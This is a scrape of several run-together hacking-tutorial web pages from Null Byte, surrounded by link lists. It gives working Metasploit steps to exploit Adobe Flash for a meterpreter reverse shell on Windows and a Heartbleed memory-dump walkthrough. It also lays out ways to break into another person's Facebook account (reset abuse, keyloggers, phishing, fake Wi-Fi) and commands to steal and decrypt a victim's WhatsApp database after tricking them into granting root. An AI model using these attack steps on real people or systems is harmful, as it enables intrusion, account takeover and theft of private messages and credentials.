Using ShodanThe Hacks of Mr. Robot:How to Use the Shodan API with Python to Automate Scans for Vulnerable DevicesNews:Hacking SCADAHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Hack Together a YouTube Playing Botnet Using ChromecastsHow To:Make Your Own Photo Snow GlobeHow To:Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-DaysHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Find webcams from across the world with TekzillaHow To:Find Passwords in Exposed Log Files with Google DorksHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHow To:Turn Your Smartphone into a Wireless Webcam with These 5 AppsHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHow To:The FBI Can Spy on Your Webcam Undetected: Here's How to Stop ThemHow To:Hack a Cheap Floating Globe into a Levitating Imperial Death Star!News:Russell Crotty's Astronomical Paper GlobesInstagram Challenge:Globe's GlowNews:Pentagon prepares re-education camps for political activistsNews:Catch Creeps and Thieves in Action: Set Up a Motion-Activated Webcam DVR in LinuxHow To:Make Icosahedral Planet OrnamentsNews:Bayman's CottageLockdown:The InfoSecurity Guide to Securing Your Computer, Part IINews:Finding the Exploits Out in the World (For Beginner Hackers)Self-Portrait Challenge:Phil... Just PhilNews:Around the world in 80 daysNews:Cometbus (Punk Zines, Vol. 1)News:Art and Tech Googles Earth (Android's open source power)Movie Quiz:Crazy Heart - FishingGlobe:UNGU (AKA Trippy Surf Short)Anonymous Browsing in a Click:Add a Tor Toggle Button to Chrome
Hack Like a Pro: Hacking Windows XP Through Windows 8 Using Adobe Flash Player « Null Byte :: WonderHowTo
Welcome back, my novice hackers!New hackers often ask me the same question: "What is the easiest platform to hack?" My response is always the same—it is not a platform, but rather a particular piece of software that is easiest to hack, which is on nearly every client-side system. That software is Adobe Flash Player.A few years back, Apple quite notably, and inelegantly, forbade the use of Adobe Flash Player on its iOS platform for a number of reasons.One is that Flash Player crashes very often and, when it does, it's a power drain on the system. That is hardly noticeable if your system is plugged into an outlet, but it seriously degrades the user experience if it's on a device that primarily uses a battery.The second reason for Apple's denial of Flash is its security, or lack thereof. Its security posture is atrocious! It probably has the worst security record of any widely used piece of software. Vulnerabilities are being found in this software almost daily.If I found a network or a machine that I really needed to own, the first thing I would look at would be Adobe Flash Player.Hacking Windows (XP, Vista, 7, 8) Using Flash PlayerIn this tutorial, we will look at one way to hack Flash Player withMetasploitthat works on nearly all Windows platforms, from XP up to Windows 8. This method will use a newer vulnerability thanthe one I showed earlier this year.Flash Player is such a fertile ground for vulnerabilities and exploits that it is worth your time and trouble to consider developing your own zero day exploit for this poorly designed and troubled application.Step 1: Check for VulnerabilitiesLet's start by looking at the known vulnerabilities to the Adobe Flash Player by going tomy favorite vulnerability database, Symantec's SecurityFocus, at the following link.http://www.securityfocus.com/vulnerabilitiesWhen you open up this URL, go toVendorand select "Adobe" from the drop-down box, followed by "Flash Player" in theTitlesection. Leave theVersionsection untouched so that it provides us with Adobe Flash Player's vulnerabilities for all versions.As you can see, Adobe Flash Player has 9 pages of vulnerabilities and 13 of the vulnerabilities have been revealed in just the last month. No matter how many times Adobe patches this application, the vulnerabilities never stop!Step 2: Fire Up Kali and Start MetasploitNow that we know that Adobe Flash Player is fertile ground for us to hack, let's fire upKali Linuxand open Metasploit.Now, let's use the built-in search function in Metasploit to find Adobe exploits.msf > search adobeAs you can see, Metasploit has one called:exploit/windows/browser/adobe_flash_pixel_bender_bofThis is a relatively new exploit, just having been released on April 28th, 2014. Let's use that one.Step 3: Set the OptionsTo use this exploit, simply type:msf > use exploit/windows/browser/abobe_flash_pixel_bender_bofNow, let's take a look at this exploit by using the "info" command.msf > infoNote that this exploit will work on all operating systems from Windows XP to Windows 8 with Internet Explorer 6 through 11 with Flash 11, 12, and 13. That is a whole lot of vulnerable systems!Before we start our exploit, let's check to see what options we need to set.msf > show optionsAs you can see in the screenshot above, this exploit has numerous options, but all of them are already set with default values.The two you may want to change (but are not required) are the SVRPORT (8080) and the URIPATH. Note that if you do not change the URIPATH, it will be set using your IP address and a random string. If you are looking to entice someone to click on this link, you may want to make the URI more enticing.Step 4: Set the PayloadNow, we need to set the payload that we want to deliver to the victim system. Ideally, we always want to deliver themeterpreter, if we can. Some exploits will allow us to deliver the meterpreter and others will not. In this case, we can deliver the meterpreter, so let's go for it!msf > set PAYLOAD windows/meterpreter/reverse_tcpNow, set the local host IP (LHOST).set LHOST 192.168.147.129Step 5: ExploitRunning this exploit is clean and simple. Just type "exploit" and it creates and starts a web server and a path to the malicious code that will exploit Adobe's Flash Player.Step 6: Navigate to the Web Server from a Windows MachineNow, let's go over to our Windows 7 machine and enter the URL of our malicious web server that we built in Metasploit.While we are doing that, we can see in Metasploit that things are stirring. A connection is being established netween the Windows 7 and our Kali system running Metasploit.If we are patient, we will be rewarded with a meterpreter command on the Windows 7 system.Congrats! You own that system.Step 7: MeterpreterWith the meterpreter on the victim system, we now have the ability and option torun any of the meterpreter scriptsthat I've listed here on Null Byte for you. For instance, you can turn on the webcam withwebcam.rbor grab the password hashes withhashdump.rb.Adobe's Flash Player continues to provide us with fertile ground to hack Windows and other systems with its plethora of vulnerabilities. I will continue to update you on its other "hackable" vulnerabilities, so keep coming back, my novice hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Recover Passwords for Windows PCs Using OphcrackHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hack Windows XP into Giving You 5 More Years of Free SupportHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Adobe Flash Player Is Bad for Your Computer (Here's How You Uninstall It)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)How To:Install Adobe Flash Player on Your Nexus 7 Running Android 4.4 KitKatHow To:Bypass and change a Windows XP start-up passwordHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:How to Create a Virtual Hacking LabHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHow To:How Anyone (Even Pirates) Can Get Windows 10 for Free—LegallyHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHow To:Use a flash drive as memory in Microsoft Windows XPHow To:Install Windows XP from a usb flash disk driveHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHack Like a Pro:Exploring the Inner Architecture of MetasploitHow To:Get Windows Media Center for Free on Windows 8 ProHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:amend Adobe Flash SettingsNews:Hack Your Computer's BIOS to Unlock Hidden Settings, Overclocking & MoreNews:Drive-Thru
4 Ways to Crack a Facebook Password & How to Protect Yourself from Them « Null Byte :: WonderHowTo
Despite the security concerns that have plagued Facebook for years, most people are sticking around and new members keep on joining. This has led Facebook to break records numbers with over1.94 billion monthly active users, as of March 2017 — and around 1.28 billion daily active users.We share our lives on Facebook. We share our birthdays and our anniversaries. We share our vacation plans and locations. We share the births of our sons and the deaths of our fathers. We share our most cherished moments and our most painful thoughts. We divulge every aspect of our lives. Clinical psychologists have written entirebooks detailing the surprisingly extensive impact Facebook hason our emotions and relationships.But we sometimes forget who's watching.We use Facebook as a tool to connect, but there are those people who use that connectivity for malicious purposes. We reveal what others can use against us. They know when we're not home and for how long we're gone. They know the answers to our security questions. People can practically steal our identities — and that's just with the visible information we purposely give away through our public Facebook profile.Image viaDigital TrendsThe scariest part is that as we get more comfortable with advances in technology, we actually become more susceptible to hacking. As if we haven't already done enough to aid hackers in their quest for our data by sharing publicly, those in the know can get into our emails and Facebook accounts to steal every other part of our lives that we intended to keep away from prying eyes.In fact, you don't even have to be aprofessional hackerto get into someone's Facebook account.It can be as easy asrunning Firesheep on your computerfor a few minutes. In fact, Facebook actually allows people to get into someone else's Facebook account without knowing their password. All you have to do is choose three friends to send a code to. You type in the three codes, and voilà — you're into the account. It's as easy as that.In this article I'll show you these, and a couple other ways that hackers (and even regular folks) can hack into someone's Facebook account. But don't worry, I'll also show you how to prevent it from happening to you.Method 1: Reset the PasswordThe easiest way to "hack" into someone's Facebook is through resetting the password. This could be easier done by people who are friends with the person they're trying to hack.The first step would be to get your friend's Facebook email login. If you don't already know it, try looking on their Facebook page in the Contact Info section. Still stuck? Hackers use scraping tools like TheHarvester to mine for email addresses,so check out our guide hereto find a user's email that you don't already know.Next, click onForgotten your password?and type in the victim's email. Their account should come up. ClickThis is my account.It will ask if you would like to reset the password via the victim's emails. This doesn't help, so pressNo longer have access to these?It will now askHow can we reach you?Type in an email that you have that also isn't linked to any other Facebook account.It will now ask you a question. If you're close friends with the victim, that's great. If you don't know too much about them, make an educated guess. If you figure it out, you can change the password. Now you have to wait 24 hours to login to their account.If you don't figure out the question, you can click onRecover your account with help from friends. This allows you to choose between three and five friends.It will send them passwords, which you may ask them for, and then type into the next page. You can either create three to five fake Facebook accounts and add your friend (especially if they just add anyone), or you can choose three to five close friends of yours that would be willing to give you the password.How to Protect YourselfUse an email address specifically for your Facebook and don't put that email address on your profile.When choosing a security question and answer, make it difficult. Make it so that no one can figure it out by simply going through your Facebook. No pet names, no anniversaries — not even third grade teacher's names. It's as easy as looking through a yearbook.Learn about recovering your account from friends. You can select the three friends you want the password sent to. That way you can protect yourself from a friend and other mutual friends ganging up on you to get into your account.Method 2: Use a KeyloggerSoftware KeyloggerA software keylogger is a program that can record each stroke on the keyboard that the user makes, most often without their knowledge. The software has to be downloaded manually on the victim's computer. It will automatically start capturing keystrokes as soon as the computer is turned on and remain undetected in the background. The software can be programmed to send you a summary of all the keystrokes via email.Null Byte features an excellent guide onhow to get a keylogger on a target computerto get you started. If this isn't what you're looking for, you can search for free keyloggers ortry coding a basic keylogger yourselfin C++.Hardware KeyloggerThese work the same way as the software keylogger, except that a USB drive with the software needs to be connected to the victim's computer. The USB drive will save a summary of the keystrokes, so it's as simple as plugging it to your own computer and extracting the data.There are several options available for hardware keyloggers.Wired keyloggers like the Keyllamacan be attached to the victim's computer to save keystrokes and works on any operating system — provided you have physical access to retrieve the device later. If you're looking to swipe the passwords remotely, you can invest in apremium Wi-Fi enabled keyloggerwhich can email captured keystrokes or be accessed remotely over Wi-Fi.How to Protect YourselfUse a firewall. Keyloggers usually send information through the internet, so a firewall will monitor your computer's online activity and sniff out anything suspicious.Install a password manager. Keyloggers can't steal what you don't type. Password mangers automatically fill out important forms without you having to type anything in.Update your software. Once a company knows of any exploits in their software, they work on an update. Stay behind and you could be susceptible.Change passwords. If you still don't feel protected, you can change your password bi-weekly. It may seem drastic, but it renders any information a hacker stole useless.Method 3: PhishingThis option is much more difficult than the rest, but it is also the most common method to hack someone's account. The most popular type ofphishinginvolvescreating a fake login page. The page can be sent via email to your victim and will look exactly like the Facebook login page. If the victim logs in, the information will be sent to you instead of to Facebook. This process is difficult because you will need to create a web hosting account and a fake login page.The easiest way to do this would be tofollow our guide onhow to clone a websiteto make an exact copy of the facebook login page. Then you'll just need to tweak the submit form to copy / store / email the login details a victim enters. If you need help with the exact steps, there aredetailed instructions availableby Alex Long here on Null Byte. Users are very careful now with logging into Facebook through other links, though, and email phishing filters are getting better every day, so that only adds to this already difficult process. But, it's still possible, especially if youclone the entire Facebook website.How to Protect YourselfDon't click on links through email. If an email tells you to login to Facebook through a link, be wary. First check the URL (Here's a great guide on what to look out for). If you're still doubtful, go directly to the main website and login the way you usually do.Phishing isn't only done through email. It can be any link on any website / chat room / text message / etc. Even ads that pop up can be malicious. Don't click on any sketchy looking links that ask for your information.Use anti-virus & web security software, like Norton or McAfee.Method 4: Man in the Middle AttackIf you can get close to your target, you can trick them into connecting to a fake Wi-Fi network tosteal credentials via a Man In The Middle (MITM) attack. Tools like theWi-Fi Pumpkinmake creating a fake Wi-Fi network is as easy as sticking a$16 Wireless Network Adapteronthe $35 Raspberry Piand getting close to your target. Once the victim connects to your fake network, you can inspect the traffic or route them to fake login pages. You can even set it to only replace certain pages and leave other pages alone.This little computer can create an evil AP - a cloned wireless network to trick the user into connecting so you can listen in on their traffic.Image by SADMIN/Null ByteGet Hacking:How to Set Up Kali Linux on the Raspberry PiHow to Protect YourselfDon't connect to any open (unencrypted) Wi-Fi Networks.Especially don't connect to any Wi-Fi networks that are out of place. Why might you see a "Google Starbucks" when there's no Starbucks for miles? Because hackers know your phone or computer will automatically connect to it if you have used a network with the same name before.If you have trouble connecting to your Wi-Fi, look at your list of nearby networks to see if there are any copies of your network name nearby.If your router asks you to enter the password for a firmware update to enable the internet or shows you a page with major spelling or grammar errors, it is likely you're connected to a fake hotspot andsomeone nearby is trying to steal your credentials.A Couple More Facebook HacksFor those with a bit more technical skill, check out theSame Origin Policy Facebook hackand the somewhat easier,Facebook Password Extractor. We will continue add more Facebook hacks in the near future, so keep coming back here.How to Protect YourselfOn Facebook, go to yourAccount Settingsand check underSecurity. Make sure Secure Browsing is enabled. Firesheep can't sniff out cookies over encrypted connections like HTTPS, so try to steer away from HTTP.Full time SSL. Use Firefox add-ons such asHTTPS-EverywhereorForce-TLS.Log off a website when you're done. Firesheep can't stay logged in to your account if you log off.Use only trustworthy Wi-Fi networks. A hacker can be sitting across from you at Starbucks and looking through your email without you knowing it.Use a VPN. These protect against any sidejacking from the same WiFi network, no matter what website you're on as all your network traffic will be encrypted all the way to your VPN provider.Protecting Yourself: Less Is MoreSocial networking websites are great ways to stay connected with old friends and meet new people. Creating an event, sending a birthday greeting and telling your parents you love them are all a couple of clicks away.Facebook isn't something you need to steer away from, but you do need to be aware of your surroundings and make smart decisions about what you put up on your profile. The less information you give out on Facebook for everyone to see, the more difficult you make it for hackers.If your Facebook account ever gets hacked, check out our guide ongetting your hacked Facebook account backfor information on restoring your account.Bonus: If you're interested in who's checking you out, there are some ways you can (kindof)track who's viewed your Facebook profile.More Password-Hacking GuidesFor more info on cracking passwords, check out our guides onhacking Linux passwords,hacking Windows passwords, and our super-easy beginner's guide onhacking Wi-Fi passwords(or for newer wireless routers,how to crack WPA2-PSK wifi passwords).Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:8 Tips for Creating Strong, Unbreakable PasswordsHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Recover Passwords for Windows PCs Using OphcrackHow To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHow To:If You Use Password Hints in Windows 7 or 8, This Hack Could Easily Exploit ThemVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawAdvice from a Real Hacker:How to Create Stronger PasswordsHow To:Hack 200 Online User Accounts in Less Than 2 Hours (From Sites Like Twitter, Reddit & Microsoft)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)How To:Really Protect Your Encrypted iPhone Backups in iOS 11 from Thieves & HackersHow To:Use Acccheck to Extract Windows Passwords Over NetworksHow To:The Beginner's Guide to Defending Against Wi-Fi HackingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemNews:Should district be allowed to demand middle-schooler's Facebook password?News:Advanced Cracking Techniques, Part 1: Custom DictionariesMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:GPU Accelerate Cracking Passwords with HashcatRainbow Tables:How to Create & Use Them to Crack PasswordsNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Recover WinRAR and Zip PasswordsSecure Your Computer, Part 1:Password-Protect your BIOS Boot ScreenHow To:Bypass Windows and Linux PasswordsDon't Get Doxed:5 Steps to Protecting Your Private Information on the WebSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordHow To:13 Delicious Ways to Reuse Your Thanksgiving LeftoversHow To:Really Connect Your Words with Friends Mobile Account to FacebookHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Recover a Windows Password with OphcrackHow To:Hack Mac OS X Lion PasswordsHow To:Unlock Your Car with a ShoelaceNews:Should Kids Be Allowed to Use Facebook and Google+?
How to Hack and Decrypt WhatsApp Database (Remotely) [ROOT] « Null Byte :: WonderHowTo
Hello my fellow hackers, it's been a while since mylast post, I can't get the time now-a-days for the posts but can manage to tend to comments.Welcome to my 9th post, this tutorial will explain how to extract and decrypt WhatsApp database from the Victim's android system.Yes the deviceshould be rooted, there is no way around to do this remotely. I have been getting PM's about this and can't simply answer with the wordSPOOF.WhatsApp?Almost everyone knows about it. It is a social android application, that's enables the user to send free messages through the internet within seconds. The developers have made huge success and have high level and complex algorithms to encrypt and store the data, which changes with every update! And hence everyone uses it to send even the most personnel messages because they know it's safe.But is it ?Yes is it actually very safe, however if the Victim is a fool or gullible, he/she is the main vulnerability here. I see many of the 'experienced users' root their android to explore/push to the system's maximum limits. Following their footsteps the 'inexperienced users' also root/brick their android just to accomplish a minor task. They don't even care about the Cons.Anyway, lets execute the hack:Step 1: Exploit and Gain Access to the Android!This the easy part which you all like and are used-to.Followthisguide to gain access to the Rooted android.Once at meterpreter prompt, typecheck_rootto make sure the device is rooted.What Do We Require?To decrypt the database, we need the database itself obviously and a key file in the /data folder, for which we need root to access the location. Wecannotdecrypt the database without the key (Until you want to spend more than 100 of years even with a mainframe!)Step 2: Let's Begin the Extraction Process for Database:In meterpreter type:cd /cd /sdcard/WhatsAppls(Print the current directory)cd Databasesdownload msgstore.db.crypt8(This will take time, maybe a LOT)So, the database has been downloaded, now we need to 'Key of Decryption'(Key file that holds the encryption keys cannot be retrieved any-more unless your phone is rooted)Step 3: Drop into the Shell:As told before, but adding a littlemore detailhere:To decrypt thecrypt8files, we will need the key file. The key file stores two sets ofdecryption keys– the actual encryption key,Kand an initialisation vector calledIV. WhatsApp stores the key file in asecure location.Extracting thekey file, type:shellsu(For Super User access or simply escalating privileges)Here comes the tricky part, if the target is experienced and skilled, he must have installed theSuperSUapplication.The application is responsible for holding the permissions whether which application can have access to root. It even holds all the logs.So, we need to convince the Victim that the application is for boosting (or any other reason) his/her android system but at the same time requires root access to reach it's maximum potential.Hereis anexcellent tutorialbybartthat shows how to disguise a back-door application.(---------------"Victim, opens SuperSU and gives the permission"---------------)There are some cases with inexperienced and unskilled users:They don't have a SuperSU application installed.They have not changed the setting for newly installed apps toPROMPTinstead ofGRANT.So in these cases we are really lucky!Lets' continue:(If the android is not rooted you can navigate, but not copy or print the directory)cd /cd /data/datalscd com.whatsapplscd fileslscp key /sdcard/Download(Means copy the file 'key' to sdcard>Download folder)Terminate the shell:^C (Control+C)The key has been extracted from /data to /sdcard successfully!Step 4: Again to Meterpreter:Lets download the extracted key file to our root directory as we did for the encrypted database, type:cd /cd /sdcard/Downloaddownload keyrm key(Make sure you do that to delete the key file)The Key has been extracted to our root directory successfully!Step 5: DECRYPT THE DATABASE!Now that we have thedatabase and the key, we can easily decrypt it with one of the two methods:#1 With Simple Linux Commands:With the two necessities in the root directory, open a terminal and type:(Copy and Paste the commandsone at a time, don't make a ascriptout of it, or itwill not work)hexdump -e '2/1 "%02x"' key | cut -b 253-316 > aes.txthexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134 > iv.txtdd if=msgstore.db.crypt8 of=msgstore.db.crypt8.nohdr ibs=67 skip=1openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K $(cat aes.txt) -iv $(cat iv.txt) > msgstore.gzgzip -cdq msgstore.gz > msgstore.dbIf you even a little bash, then you can easily understand these commands. (Source:here)If the 4th command does not work, follow:hexdump -e '2/1 "%02x"' key | cut -b 253-316(Copy the printed text)hexdump -n 67 -e '2/1 "%02x"' msgstore.db.crypt8 | cut -b 103-134(Copy the printed text)openssl enc -aes-256-cbc -d -nosalt -nopad -bufsize 16384 -in msgstore.db.crypt8.nohdr -K(Paste text from 1st command)-iv(Paste text from 2nd command)> msgstore.gzThese commands havebugs/errorsin the result, so I would highly recommend to go for the #2 method.#2 With Simple Windows WhatsApp Viewer Application:The application has an excellent interface, fromGitHub. Download the application from there.Also, copy the key and database to windows, I hope you know how to do that.Open the application (in windows of course).Click FIle, then on 'Decrypt .crypt8'In the dialogue box that appears, provide the Key file and Database.Click OK, you will see that a 'msgstore.decrypted' file has appeared at your desktop.Open it using the same application, go to 'File' then 'Open'.Provide the Decrypted file, leave the Account name blank and for the 'wa.db', you can hack the phone again to extract this .db, to resolve contact names as mentioned in the cropped screenshot below.Click 'OK'And'Boom'all the contacts with all the chats even the latest onesawaits your ClickThe Tutorial Ends:Now that you know how dangerousRootingactually is, please, beware.A cracker can not only perform thissimple hack, he can even extract all the Wi-Fi passwords stored in your android, he can access everything, things that even you don't have access to!! He mayspread to your PConce you connect your android,hack your accounts(saved passwords) andeven frameyou. You just become amere pawnto his further plans.So,think twicebefore rooting and be really careful, while holding a rooted android in your hands.Thank You!F.3.A.R.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow To:Install the WhatsApp Messenger onto Your Nexus 7 and Sync It with Your Phone NumberHow To:Bring Back WhatsApp's Old Emojis on AndroidHow To:Hack Any Account That Has Recovery via Phone Option Enabled (SMS) On Android:Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 14 (MySQL)How To:Grab All the PasswordsHow To:Set Up WhatsApp on Your Nexus 7 Tablet—Without RootingNews:Bogus WhatsApp Update Will Have You Seeing RedNews:WhatsApp Receives Thousands of Fake 5-Star Reviews After Months of Ranking Below AverageHow to Hack Databases:Running CMD Commands from an Online MS SQL ServerNews:WhatsApp Is Now Sharing Your Data with Facebook, but Opting Out Doesn't Solve the ProblemHow To:Use Your Computer to Send & Receive WhatsApp Messages FasterHow To:Tell if Someone Has Read Your WhatsApp Message—Even if They Have Read Receipts Turned OffHow To:Stop Others from Adding You to WhatsApp Groups You Don't Want to JoinHow To:Personalize Your Messages with Stickers in WhatsAppWhatsApp 101:Control Who You Share Your WhatsApp Status Stories WithWhatsApp 101:How to Use WhatsApp Web to Send & Receive Messages from Any ComputerHow To:Get Faster Access to Your Favorite WhatsApp Contacts on Your iPhoneHow To:The Easiest Way to Get iPhone Emojis on Your Android DeviceHow To:Get WhatsApp's Latest Features Before Anyone ElseHow To:Recover WhatsApp Photos & Videos Deleted from Your Phone's StorageInstagram 101:How to Share Directly to WhatsApp on Android or iPhoneNews:The Fake Review Saga Continues—Gmail & Messenger Latest in Google Play's 5-Star SpamHow To:Easily Remove Old Photos in WhatsApp to Free Up Storage on AndroidHow To:Remove Button Clutter from the WhatsApp Interface on AndroidHack Logs and Linux Commands:What's Going On Here?How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseHow To:Encrypt And Decrypt Text In PythonHow To:Hack Mac OS X Lion PasswordsNews:Accessing a PostgreSQL Database in your C/C++ ProgramGoodnight Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsNews:ShouldIChangeMyPassword.comNews:The Root Beer Hack Circle Caper
Security-Oriented C « Null Byte :: WonderHowTo
No content found.
Hack Like a Pro: Hacking the Heartbleed Vulnerability « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!In recent weeks,the Heartbleed vulnerabilityof OpenSSL has been dominating the information security headlines. This vulnerability enables an attacker to extract data from the server's memory that may contain authentication credentials, cookies, the servers private key, and personally identifiable info (PII) that could be used for identity theft. As a result, websites around the world have been scrambling to close this hole. Fortunately for us, many still have not, and many may never be closed.Basically, OpenSSL is an encryption library used in HTTPS (secure HTTP). The idea is that any data traveling over this secured version of HTTP should be secure and encrypted. During communication, OpenSSL uses a "heartbeat" that echoes back data to verify that the data was received correctly. It's kind of like one machine telling the other, "Yes, I got that data and you can send more now."The Heartbleed vulnerability enables a hacker to trick OpenSSL by sending asinglebyte of data while telling the server it sent 64K bytes of data. The server will then send back 64K bytes of data to be checked and echoed back. The server will then respond with 64K of random data from its memory.In this tutorial, I'll show you a simple exploit for getting that OpenSSL to spill the contents of its memory and possibly give us the user's credentials and other information.Step 1: Update MetasploitThe first step is to updateMetasploitto get the new auxiliary module for Heartbleed. Type:kali > msfupdateMetasploit will then go through the long and slow process of updating its modules and framework. Be patient here, it takes awhile.When you are finally returned to theKaliprompt, the update has completed.Step 2: Start MetasploitNow, we need to start the Metasploit console. At any terminal prompt, type:kali > msfconsoleYou should be greeted with a screen like that below.Step 3: Find HeartbleedNow, we need to find the new Heartbleed module. We can use the built-in search feature in Metasploit. Type:search heartbleedThis should bring up two auxiliary modules for Heartbleed. Select the first one as I've highlighted below.Step 4: Use Auxiliary ModuleNext, we need to load this payload. Simply type:use auxiliary/scanner/ssl/openssl_heartbleedThis will load the heartbleed module.Whenever I am using a new module, I like to look at the info page. Once we have loaded the module, type:msf > infoAs we can see in the screenshot below, this reveals the options that need to set in order to use this module and a description of the module.Step 5: Set OptionsAlthough this module has numerous options, the critical one is RHOSTS (notice the plural here). Let's set it to a target website I set up on my network that is still vulnerable to Heartbleed.msf > set RHOSTS 192.168.1.169Step 6: Run the ModuleFinally, set the option 'verbose" to "true". This will provide us with verbose output.msf > set verbose trueAnd now let's run it:msf > runAs you can see in the screenshot below, the server leaked about 64K bytes of what was in its memory.Step 7: SuccessIf credentials, personally identifiable information (PII), or the server's private key had been in memory, they would have leaked out as well. Of course, we could set up this Heartbleed scanner to run repeatedly to gather the info in memory at a continual basis, eventually gaining access to all the info that traversed RAM.In my next Heartbleed post, we will start working on a scanner script to scan the world for websites and servers still vulnerable to the Heartbleed vulnerability, so make sure to come back. While you're waiting, you can use your spare time to increase your skills in Metasploit by knowingall of the commandsandhacking scriptsavailable.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseHeartbleed red codeandHeartbleed heartsimages via ShutterstockRelatedHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHeartbleed Still Lingers:How to Check Your Android Device for VulnerabilitiesNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftWhite Hat Hacking:Hack the Pentagon?Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 18 (Scheduling Jobs)Hack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7The Panama Papers Hack:Further Proof That Hacking Is Changing the WorldHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereNews:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How To:Find Your Computer's Vulnerability Using LynisHow To:Fix Your Hacked and Malware-Infested Website with GoogleHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Hack web browsers with BeEFHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Learn to Code Your Own Games with This Hands-on BundleHack Like a Pro:How to Hack the Shellshock 